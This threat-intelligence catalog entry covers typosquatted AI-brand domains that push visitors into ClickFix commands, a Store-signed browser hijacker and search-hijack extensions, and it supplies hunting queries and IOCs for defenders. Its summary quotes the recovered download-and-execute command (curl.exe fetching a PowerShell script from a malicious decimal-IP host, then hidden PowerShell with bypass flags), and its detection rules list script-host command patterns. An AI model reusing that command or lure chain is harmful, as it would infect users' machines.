Detection queries Not classified

Island TypoPrompting turns AI-brand typos into ClickFix, Net Guard, and search hijacks

Island (Oleg Zaytsev, Nov 12, 2026) traced 186 lookalike domains across 27 AI brands, including Claude, ChatGPT, DeepSeek, Perplexity, Midjourney, ElevenLabs, and Cursor. A Nov 3, 2026 snapshot connected…

What happened

Island (Oleg Zaytsev, Nov 12, 2026) traced 186 lookalike domains across 27 AI brands, including Claude, ChatGPT, DeepSeek, Perplexity, Midjourney, ElevenLabs, and Cursor. A Nov 3, 2026 snapshot connected cloude.ai to a Windows ClickFix command and eight AI typos to an installer funnel. A Windows scan of cloude.ai went through xml.securetrackingnode.com/click to biomimicrydevtech.buzz (flow_id=81, bid about 0.0065 to 0.009) and then a random subdomain of blockchainfuturedev.buzz, which fingerprinted the browser and served a fake Cloudflare check. The recovered command was cmd /c curl.exe -fsL --ssl-no-revoke --retry 8 saving %TEMP%\W901.ps1 from 3112851459/985, then powershell -w h -nop -ep bypass -File that script. 3112851459 is 185.138.88.3 as a decimal integer. Pivoting the gate script hash found 550 scan records across 211 entry domains from April 2025 through November 2026, including lookalikes of banks, insurers, and enterprise software, plus Windows, macOS curl-to-zsh, and archive lures. Eight typos, including ckaude.ai, deepceek.com, copiot.com, elevenlebs.io, and vocie.ai, went through deezyj.com to fake Security Check pages that installed Net Guard, a Microsoft Store-signed Tauri app (publisher Myflixly App, product id 9MX3CH3BQ44Q, package family MyflixlyApp.NetGuard_k6q889pad57pt, analyzed 1.0.9.0). Island says the MSIX matches the Store hash and that buntai-sdk can change the default search engine, run JavaScript through DevTools Runtime.evaluate, and edit browser profiles. The same SDK is in Privacy Keeper 1.0.10.0 and MyFlixly Browser 1.0.10.0. The installer funnel spans 191 lander domains. preplexity.ai went to quickflashtool.com and a Chrome extension that sets the default search provider to find.flashysearches.com. It is one of 30 extensions from the same kit. Thirteen had been removed. The 17 still listed showed 972,000 declared users in total on November 3. Island says Socket's Oct 29, 2026 Searchjacked research lists 22 of the 30. An 81-domain portfolio including about 23 AI lookalikes ties to a11.click. Link anyrun-fake-ai-tools-2026-10.

Lookalike domains for AI products send visitors into ClickFix, a Store-signed browser hijacker, or a search-hijack extension. The AI products are the lure, not the operator.

Read the original source

How it happened

Select a stage to explore its defenses
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Select a stage · Drag to explore · + / − to zoom · Dashed edges are loopsSelect a stage · Arrows show reported connectionsReported sequence
Read the flow as text & sources

A catalog reconstruction of the supplied source account. Unknown steps remain explicit; an edge describes the reported relationship between steps.

  1. 01 · AI-brand typo loads

    A lookalike such as cloude.ai or preplexity.ai is served instead of the intended AI product. A parking page hands the browser to a traffic-distribution system.

    Hunt: Repeated exploit or upload requests are followed by an unexpected server process, file, or outbound connection.

    A scan or high request rate alone does not prove compromise or AI use. Host telemetry is needed to confirm execution.

    Source for step 1
  2. 02 · Fake Cloudflare check copies a command

    The Windows route copies a curl.exe download of W901.ps1 from decimal host 3112851459 and a hidden PowerShell launch.

    Hunt: A script host or shell runs encoded content, a remote URL, or inline script syntax, then downloads or launches a payload.

    Encoded commands and remote administration can be legitimate. This does not cover every script host, in-process execution, or non-Windows branch.

    Source for step 2
  3. 03 · Store-signed Net Guard

    Other typos install the real Microsoft Store Net Guard package, whose buntai-sdk can change search settings and run DevTools scripts.

    Hunt: A newly downloaded or staged executable runs from a user-writable location and exhibits the reported follow-on behavior.

    Many approved installers run from user-writable folders. These events are hunt candidates, not proof of malware or an enforced block.

    Source for step 3
  4. 04 · Search-hijack extension

    preplexity.ai leads to an unlisted Chrome extension that sets the default search provider to find.flashysearches.com.

    Hunt: A new or updated extension gains sensitive permissions and accesses conversation, cookie, or browsing data before unusual egress.

    Extension installation does not prove theft. Endpoint application control is not a substitute for browser extension allowlisting.

    Source for step 4

Why it matters

Reported entry point: A mistyped AI domain is handed to a traffic-distribution system that selects a ClickFix command, a Store installer, or an extension page. Reported impact: Other typos install the real Microsoft Store Net Guard package, whose buntai-sdk can change search settings and run DevTools scripts; preplexity.ai leads to an unlisted Chrome extension that sets the default search provider to find.flashysearches.com; reported targets include People trying to reach AI tools. The wider gate also used lookalikes of banks, insurers, and enterprise software. No named victim organizations; applicability to your setup has not been assessed, so verify affected versions, permissions, and configuration in the original report.

Read the original report

What you can do

Protection & prevention

Publish managed bookmarks for approved AI services. Alert when curl.exe writes a .ps1 and PowerShell starts with -w h and -ep bypass, including decimal hosts such as 3112851459. Do not treat a Microsoft Store signature as a reason to allow Net Guard package family MyflixlyApp.NetGuard_k6q889pad57pt. Enforce a managed search provider and block the extension IDs below.

Catalog defensive guidance based on the reported behavior. Confirm scope and current mitigations in the original source.

Review the original guidance
Investigate each phase

Detection queries

Draft query starters grouped by the attack stages where they apply.

Download stage pack

Start with the logs you collect. Each hunt identifies its required visibility, field mapping and limits. Queries are catalog-authored drafts using reusable behavior profiles; test with known activity and your normal baseline before alerting.

01AI-brand typo loadsWeb exploitation → host activityCustom schema · Draft

A lookalike such as cloude.ai or preplexity.ai is served instead of the intended AI product. A parking page hands the browser to a traffic-distribution system.

What to look for

Repeated exploit or upload requests are followed by an unexpected server process, file, or outbound connection.

Visibility: Defender-side logs where collected

Required logs

  • Reverse-proxy / WAF request logs
  • Server process and file events
  • Outbound DNS / proxy records

Coverage limit. A scan or high request rate alone does not prove compromise or AI use. Host telemetry is needed to confirm execution.

Custom-schema candidates, not out-of-box detectors. Map your application / cloud / platform logs to EventType, Actor, Asset, Action, Target and CorrelationId. KQL uses a custom OpenAttacksAudit_CL table; SPL uses openattacks:audit. EventType values are proposed normalization names, not native vendor event names. Correlation and environment-specific alert logic remain to be built.

Sigma
Draft SigmaDownload Sigma
title: Hunt - Web exploitation → host activity
id: 04d900b5-0c04-46f2-a13a-91f5574fae98
status: experimental
description: Repeated exploit or upload requests are followed by an unexpected
  server process, file, or outbound connection.
author: MagicSword OpenAttacks catalog
date: 2026-10-23
falsepositives:
  - Authorized activity matching this broad hunt; baseline and investigate
    before alerting.
level: low
logsource:
  category: application
  product: openattacks_audit
  definition: Custom normalized audit schema; map EventType, Actor, Asset, Action,
    Target and CorrelationId from the required source logs first.
detection:
  selection:
    EventType:
      - web.exploit_candidate
      - web.upload
  condition: selection
KQL
Draft KQLDownload KQL
// SCHEMA TEMPLATE: create/map this custom table before use; not a built-in Sentinel table.
// OpenAttacksAudit_CL: TimeGenerated(datetime), EventType/Actor/Asset/Action/Target/CorrelationId(string).
// Selects candidates only. Apply the stage hypothesis and correlation steps before alerting.
OpenAttacksAudit_CL
| where TimeGenerated > ago(7d)
| where EventType in ("web.exploit_candidate", "web.upload")
| project TimeGenerated, EventType, Actor, Asset, Action, Target, CorrelationId
| order by TimeGenerated desc
SPL
Draft SPLDownload SPL
sourcetype="openattacks:audit"
EventType IN ("web.exploit_candidate", "web.upload")
| table _time EventType Actor Asset Action Target CorrelationId
| sort - _time
Investigation steps
  1. Join requests to the affected host and process tree by time and request ID.
  2. Inspect uploaded files and server-spawned shells; distinguish authorized testing from exploitation.
02Fake Cloudflare check copies a commandSuspicious Windows script executionNative logs · Draft

The Windows route copies a curl.exe download of W901.ps1 from decimal host 3112851459 and a hidden PowerShell launch.

What to look for

A script host or shell runs encoded content, a remote URL, or inline script syntax, then downloads or launches a payload.

Visibility: Defender-side logs where collected

Required logs

  • Windows process creation: Sysmon Event 1 or Defender DeviceProcessEvents
  • PowerShell script-block logging when enabled
  • Download / network and installer events

Coverage limit. Encoded commands and remote administration can be legitimate. This does not cover every script host, in-process execution, or non-Windows branch.

Windows process candidates. Sigma uses normalized process_creation fields; KQL requires Defender for Endpoint; SPL requires the Sysmon XML sourcetype. Tune collectors, fields and baselines before use.

Sigma
Draft SigmaDownload Sigma
title: Hunt - Suspicious Windows script execution
id: 2bb88802-9f03-4d99-a192-fe44c9484e8b
status: experimental
description: A script host or shell runs encoded content, a remote URL, or
  inline script syntax, then downloads or launches a payload.
author: MagicSword OpenAttacks catalog
date: 2026-10-23
falsepositives:
  - Authorized activity matching this broad hunt; baseline and investigate
    before alerting.
level: low
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith:
      - \powershell.exe
      - \pwsh.exe
      - \mshta.exe
      - \wscript.exe
      - \cscript.exe
    CommandLine|contains:
      - -enc
      - http
      - FromBase64String
      - "javascript:"
      - "vbscript:"
  condition: selection
KQL
Draft KQLDownload KQL
// Draft hunt; requires Defender for Endpoint process telemetry for this OS.
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe", "pwsh.exe", "mshta.exe", "wscript.exe", "cscript.exe")
| where ProcessCommandLine contains "-enc" or ProcessCommandLine contains "http" or ProcessCommandLine contains "FromBase64String" or ProcessCommandLine contains "javascript:" or ProcessCommandLine contains "vbscript:"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA1
| order by Timestamp desc
SPL
Draft SPLDownload SPL
sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
Image IN ("*\\powershell.exe", "*\\pwsh.exe", "*\\mshta.exe", "*\\wscript.exe", "*\\cscript.exe")
CommandLine IN ("*-enc*", "*http*", "*FromBase64String*", "*javascript:*", "*vbscript:*")
| table _time host User Image CommandLine ParentImage ParentCommandLine
| sort - _time
Investigation steps
  1. Follow the parent and child process tree and recover the script or URL from logs without executing it.
  2. Correlate the payload's signer/hash, persistence, and network activity; baseline approved automation.
03Store-signed Net GuardUnapproved Windows program executionNative logs · Draft

Other typos install the real Microsoft Store Net Guard package, whose buntai-sdk can change search settings and run DevTools scripts.

What to look for

A newly downloaded or staged executable runs from a user-writable location and exhibits the reported follow-on behavior.

Visibility: Defender-side logs where collected

Required logs

  • Windows process creation
  • Download provenance and file hashes
  • File certificate information and application-control audit / block events

Coverage limit. Many approved installers run from user-writable folders. These events are hunt candidates, not proof of malware or an enforced block.

Windows process candidates. Sigma uses normalized process_creation fields; KQL requires Defender for Endpoint; SPL requires the Sysmon XML sourcetype. Tune collectors, fields and baselines before use.

Sigma
Draft SigmaDownload Sigma
title: Hunt - Unapproved Windows program execution
id: e217e948-e57c-48b8-a331-66006de42ae1
status: experimental
description: A newly downloaded or staged executable runs from a user-writable
  location and exhibits the reported follow-on behavior.
author: MagicSword OpenAttacks catalog
date: 2026-10-23
falsepositives:
  - Authorized activity matching this broad hunt; baseline and investigate
    before alerting.
level: low
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|contains:
      - \Downloads\
      - \AppData\Local\Temp\
      - \AppData\Roaming\
  condition: selection
KQL
Draft KQLDownload KQL
// Draft hunt; requires Defender for Endpoint process telemetry for this OS.
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FolderPath contains "\\Downloads\\" or FolderPath contains "\\AppData\\Local\\Temp\\" or FolderPath contains "\\AppData\\Roaming\\"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA1
| order by Timestamp desc
SPL
Draft SPLDownload SPL
sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
Image IN ("*\\Downloads\\*", "*\\AppData\\Local\\Temp\\*", "*\\AppData\\Roaming\\*")
| table _time host User Image CommandLine ParentImage ParentCommandLine
| sort - _time
Investigation steps
  1. Verify publisher, hash, origin, prevalence and local approval rather than trusting a product name or signature.
  2. Trace child processes and related credential, network or persistence events.
04Search-hijack extensionBrowser extension change / data accessCustom schema · Draft

preplexity.ai leads to an unlisted Chrome extension that sets the default search provider to find.flashysearches.com.

What to look for

A new or updated extension gains sensitive permissions and accesses conversation, cookie, or browsing data before unusual egress.

Visibility: Defender-side logs where collected

Required logs

  • Managed-browser extension inventory and update history
  • Extension ID, permissions and provenance
  • Browser / proxy / DLP evidence

Coverage limit. Extension installation does not prove theft. Endpoint application control is not a substitute for browser extension allowlisting.

Custom-schema candidates, not out-of-box detectors. Map your application / cloud / platform logs to EventType, Actor, Asset, Action, Target and CorrelationId. KQL uses a custom OpenAttacksAudit_CL table; SPL uses openattacks:audit. EventType values are proposed normalization names, not native vendor event names. Correlation and environment-specific alert logic remain to be built.

Sigma
Draft SigmaDownload Sigma
title: Hunt - Browser extension change / data access
id: 0dd8a9d2-e0c8-4768-a49d-5fc2f09a6d7c
status: experimental
description: A new or updated extension gains sensitive permissions and accesses
  conversation, cookie, or browsing data before unusual egress.
author: MagicSword OpenAttacks catalog
date: 2026-10-23
falsepositives:
  - Authorized activity matching this broad hunt; baseline and investigate
    before alerting.
level: low
logsource:
  category: application
  product: openattacks_audit
  definition: Custom normalized audit schema; map EventType, Actor, Asset, Action,
    Target and CorrelationId from the required source logs first.
detection:
  selection:
    EventType:
      - browser.extension.install
      - browser.extension.update
  condition: selection
KQL
Draft KQLDownload KQL
// SCHEMA TEMPLATE: create/map this custom table before use; not a built-in Sentinel table.
// OpenAttacksAudit_CL: TimeGenerated(datetime), EventType/Actor/Asset/Action/Target/CorrelationId(string).
// Selects candidates only. Apply the stage hypothesis and correlation steps before alerting.
OpenAttacksAudit_CL
| where TimeGenerated > ago(7d)
| where EventType in ("browser.extension.install", "browser.extension.update")
| project TimeGenerated, EventType, Actor, Asset, Action, Target, CorrelationId
| order by TimeGenerated desc
SPL
Draft SPLDownload SPL
sourcetype="openattacks:audit"
EventType IN ("browser.extension.install", "browser.extension.update")
| table _time EventType Actor Asset Action Target CorrelationId
| sort - _time
Investigation steps
  1. Diff extension versions and permissions, compare the extension ID against the allowlist, and inspect its update origin.
  2. Correlate access to conversations or credentials with destinations; enforce browser extension policy separately.
Technical detailsTooling, impact & MITRE ATLAS

Attack context

AI's role
AI tool as lure
Initial access
A mistyped AI domain is handed to a traffic-distribution system that selects a ClickFix command, a Store installer, or an extension page

Tooling as reported

AI products, models and artifacts

Other tooling

  • curl.exe and hidden PowerShell (LOLBAS)
  • Net Guard / buntai-sdk Microsoft Store package
  • Chrome search-override extensions

Targets and reported impact

Targets / sectors
People trying to reach AI tools. The wider gate also used lookalikes of banks, insurers, and enterprise software. No named victim organizations.
Reported scale / exposure
186 lookalike domains, 27 AI brands, in the Nov 3, 2026 snapshot. 211 entry domains on the ClickFix gate. 972,000 declared users across 17 still-listed search extensions on Nov 3. Net Guard funnel about 1,437 source domains.
Target geography
Multiple regions

Island does not name victim countries. The traffic system uses the visitor's country to pick a lure, which is not a target-region list.

Reported attribution

Unnamed. Island ties an 81-domain portfolio to a11.click and shared affiliate keys. No country is stated.

Structured attribution

Actor
Unnamed typosquat operators
Motivation
financially-motivated
Attributed by
Island
Attribution confidence
low

Detection rules

  • Suspicious Curl.EXE DownloadSIGMAView rule

    Windows process creation. curl.exe download. Matches the ClickFix command that saves W901.ps1. The decimal host 3112851459 is not a dotted IP, so a dotted-IP-only rule would miss it.

  • Potential File Transfer via Curl for WindowsELASTICView rule

    Windows endpoint. curl.exe retrieving a remote file. Same ClickFix download, followed by powershell -w h -nop -ep bypass.

  • Decimal host, Net Guard, and search overrideGUIDANCE

    No cited rule encodes 3112851459, -w h -ep bypass, the Net Guard package family MyflixlyApp.NetGuard_k6q889pad57pt, or extension IDs lihnhjjcdlfdomjliljlommppbfacmbj and nlmpdomhofmjdidcghodlgneobojdjfm. A Store signature matching hash bdddb50204d6867b4bd73d9cfe93cbc98c4518342da104e4608f04e675ac6cb3 is the package Island analyzed, not a clean verdict.

Activity timeline

First seen
2025-04
Last updated
2026-11-12

Updates

  • 2025-04 — Island

    Earliest matching records in the wider gate-kit corpus. The kit later serves Windows, macOS, and archive lures.

  • 2026-11-03 — Island

    Research snapshot ties cloude.ai to the Windows ClickFix command and counts 186 AI lookalikes across 27 brands. Seventeen search extensions still listed show 972,000 users.

  • 2026-11-12 — Island

    Oleg Zaytsev publishes TypoPrompting, including the decimal IP, Net Guard package identifiers, and the preplexity.ai extension path

Source defensive notes

Publish managed bookmarks for approved AI services. Alert when curl.exe writes a .ps1 and PowerShell starts with -w h and -ep bypass, including decimal hosts such as 3112851459. Do not treat a Microsoft Store signature as a reason to allow Net Guard package family MyflixlyApp.NetGuard_k6q889pad57pt. Enforce a managed search provider and block the extension IDs below.

MITRE ATLAS

AI-specific catalog annotations based on the reported behavior; these are not MITRE case-study assignments.

AML.T0052Phishing

Mistyped AI domains are the lure that leads to a command, an installer, or an extension Source

AML.T0050Command and Scripting Interpreter

The Windows route copies a curl.exe and PowerShell command that the visitor is asked to run Source

Indicators of compromise

domains

  • cloude.ai
  • preplexity.ai
  • xml.securetrackingnode.com
  • biomimicrydevtech.buzz
  • blockchainfuturedev.buzz
  • deezyj.com
  • netguardsite.com
  • netguardprotect.com
  • a11.click
  • quickflashtool.com
  • find.flashysearches.com
  • ckaude.ai
  • deepceek.com
  • copiot.com
  • elevenlebs.io
  • vocie.ai

ips

  • 185.138.88.3

hashes

  • bdddb50204d6867b4bd73d9cfe93cbc98c4518342da104e4608f04e675ac6cb3
  • a052b63e9c358c8911c17d1f58cce00949791f103fcf74f6057863d681c52301
  • 51d577c84e50657d6cacf0e7738c9539ee4f39f76838423c682ad0dadc8e2d87

urls

    Sources & research credit

    1 source

    Research by Oleg Zaytsev · Island

    1. TypoPrompting: From AI Typos to Malware www.island.io

    Counts, the ClickFix command, decimal IP 3112851459, package identifiers, and the 972,000-user figure are from Island. The article's appendix lists more lookalikes than the IOC set below. Link anyrun-fake-ai-tools-2026-10. Historical payloads on chatlgpt.com, midj0urney.org, and deepsek.icu are included only as Island states them.

    Record & downloads
    Source record name
    Island TypoPrompting turns AI-brand typos into ClickFix, Net Guard, and search hijacks
    Entry ID
    island-typoprompting-ai-typosquats-2026-11
    Catalog review
    November 15, 2026
    Category
    adversary-use-of-ai
    AI involvement confidence
    confirmed